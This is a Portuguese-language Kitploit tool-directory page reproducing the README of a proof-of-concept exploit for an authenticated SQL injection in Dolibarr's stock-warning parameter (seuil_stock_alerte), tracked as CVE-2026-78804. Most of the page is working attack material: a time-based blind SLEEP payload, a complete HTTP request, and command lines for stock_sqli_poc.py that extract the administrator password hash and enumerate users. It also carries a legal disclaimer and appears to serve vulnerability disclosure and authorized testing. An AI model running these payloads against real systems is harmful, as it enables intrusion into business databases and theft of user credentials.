Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-78804_Dolibarr_authenticated_SQL_injection — A ação responsável por definir o limite de alerta de estoque por armazém (`seuil_stock_alerte`) aceita entrada controlada pelo usuário e posteriormente a incorpora em uma consulta SQL sem a devida conversão numérica ou vinculação de parâmetros. #dolibarr #exploit | Kitploit
Ferramentas/GitHubGitHub/repo4chu/cve-2026-78804_dolibarr_authenticated_sql_injection
Análise de VulnerabilidadesExploraçãoScripting e AutomaçãoExploração de Aplicações WebSegurança WebTestes de PenetraçãoSegurança de Banco de Dados
GitHub
repo4chu/cve-2026-78804_dolibarr_authenticated_sql_injection

CVE-2026-78804_Dolibarr_authenticated_SQL_injection

A ação responsável por definir o limite de alerta de estoque por armazém (`seuil_stock_alerte`) aceita entrada controlada pelo usuário e posteriormente a incorpora em uma consulta SQL sem a devida conversão numérica ou vinculação de parâmetros. #dolibarr #exploit

Ver Repositório
33há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Dolibarr — PoC de Injeção SQL Autenticada

Injeção SQL afetando a funcionalidade de gerenciamento de estoque do produto através do parâmetro seuil_stock_alerte.

Versões Afetadas

Testado e confirmado em:

  • 19.0.4
  • 20.0.4
  • 21.0.4
  • 22.0.5
  • 23.0.3
  • 24.0.0 (Estava funcionando até o relatório.)

Parâmetro Vulnerável

seuil_stock_alerte

O parâmetro é aceito por:

/product/stock/product.php

usando a ação addlimitstockwarehouse.

Exploração

O parâmetro é recuperado sem conversão numérica:

$seuil_stock_alerte = GETPOST('seuil_stock_alerte');

$pse->seuil_stock_alerte = $seuil_stock_alerte;

Posteriormente, ele alcança uma instrução SQL através de concatenação direta de strings:

$sql .= ' seuil_stock_alerte = '.
    (isset($this->seuil_stock_alerte)
        ? $this->seuil_stock_alerte
        : "null").',';

Como o valor é inserido em um contexto numérico sem aspas, uma expressão SQL pode ser fornecida em vez de um valor numérico regular.

Injeção SQL Cega Baseada em Tempo

Uma expressão booleana/baseada em tempo é suficiente para demonstrar a execução:

(SELECT IF((1=1),SLEEP(15),0))

Exemplo de parâmetro:

seuil_stock_alerte=(SELECT IF((1=1),SLEEP(15),0))

Uma requisição bem-sucedida produz um atraso na resposta HTTP de aproximadamente 15 segundos, confirmando a avaliação da expressão SQL injetada.

Requisição Vulnerável

A ação vulnerável pode ser alcançada com uma requisição autenticada similar a:

POST /product/stock/product.php?id=1 HTTP/1.1
Host: target
Cookie: DOLSESSID_xxxxx=<session>
Content-Type: application/x-www-form-urlencoded

action=addlimitstockwarehouse&token=<csrf>&id=1&fk_entrepot=1&desiredstock=1&seuil_stock_alerte=(SELECT IF((1=1),SLEEP(15),0))

Requisitos:

  • Sessão autenticada válida
  • Token CSRF (extraído da página do cartão do produto)
  • ID do produto
  • ID do armazém

Autenticação e Privilégios

O problema foi reproduzido com uma conta autenticada tendo apenas:

Product → Create (produit/creer)

permissão — uma conta de baixo privilégio que pode criar produtos.

Impacto

A injeção SQL permite:

  1. Injeção SQL cega baseada em tempo — consultas podem ser executadas via atrasos SLEEP
  2. Divulgação de informações — o conteúdo do banco de dados pode ser exfiltrado caractere por caractere
  3. Potencial escalação de privilégios — extração de credenciais de administrador ou dados sensíveis
  4. Reconhecimento do banco de dados — enumeração de esquema via métodos baseados em erro ou tempo

Restrições em nível de banco de dados neste sistema impediram a execução direta de comandos do SO.

Ferramenta de Exploração

O script PoC que acompanha stock_sqli_poc.py automatiza o processo de exploração:

Uso

python3 stock_sqli_poc.py \
  --url http://127.0.0.1:8088 \
  --proxy http://127.0.0.1:8080 \
  --login webeditor \
  --password 'WebEdit0r!' \
  --product-id 1 \
  --warehouse-id 1 \
  --extract "(SELECT pass_crypted FROM llx_user WHERE admin=1 LIMIT 1)" \
  --length 14

Recursos

  • Login automático — autentica no alvo
  • Confirmação de injeção — valida a injeção SQL com payloads de teste (1=1 vs 1=2)
  • Extração por busca binária — extrai dados eficientemente caractere por caractere usando comparação ASCII
  • Suporte a proxy — integra-se com Burp Suite ou outros proxies HTTP
  • Atraso configurável — ajusta a duração do SLEEP para confiabilidade

Opções de Linha de Comando

OpçãoPadrãoDescrição
--urlhttp://127.0.0.1:8088URL da instância Dolibarr alvo
--proxyhttp://127.0.0.1:8080Proxy HTTP (Burp, etc.). Defina como string vazia para desabilitar
--loginwebeditorNome de usuário para conta de baixo privilégio
--passwordWebEdit0r!Senha da conta
--product-id1ID do produto alvo
--warehouse-id1ID do armazém alvo
--delay1.0Duração do SLEEP em segundos para detecção baseada em tempo
--extract(SELECT pass_crypted FROM llx_user WHERE admin=1 LIMIT 1)Expressão SQL a ser exfiltrada
--length14Comprimento máximo de caracteres a extrair

Exemplos de Extração

Extrair hash da senha de administrador:

--extract "(SELECT pass_crypted FROM llx_user WHERE admin=1 LIMIT 1)"

Enumerar usuários:

--extract "(SELECT GROUP_CONCAT(login) FROM llx_user)"

Versão do banco de dados:

--extract "VERSION()"

Usuário atual do banco de dados:

--extract "USER()"

⚠️ Aviso Legal: Use este exploit apenas contra sistemas para os quais você possui autorização escrita explícita. O acesso não autorizado a sistemas de computador é ilegal. Este PoC é fornecido apenas para fins educacionais e de testes de segurança autorizados.

Baixar ferramenta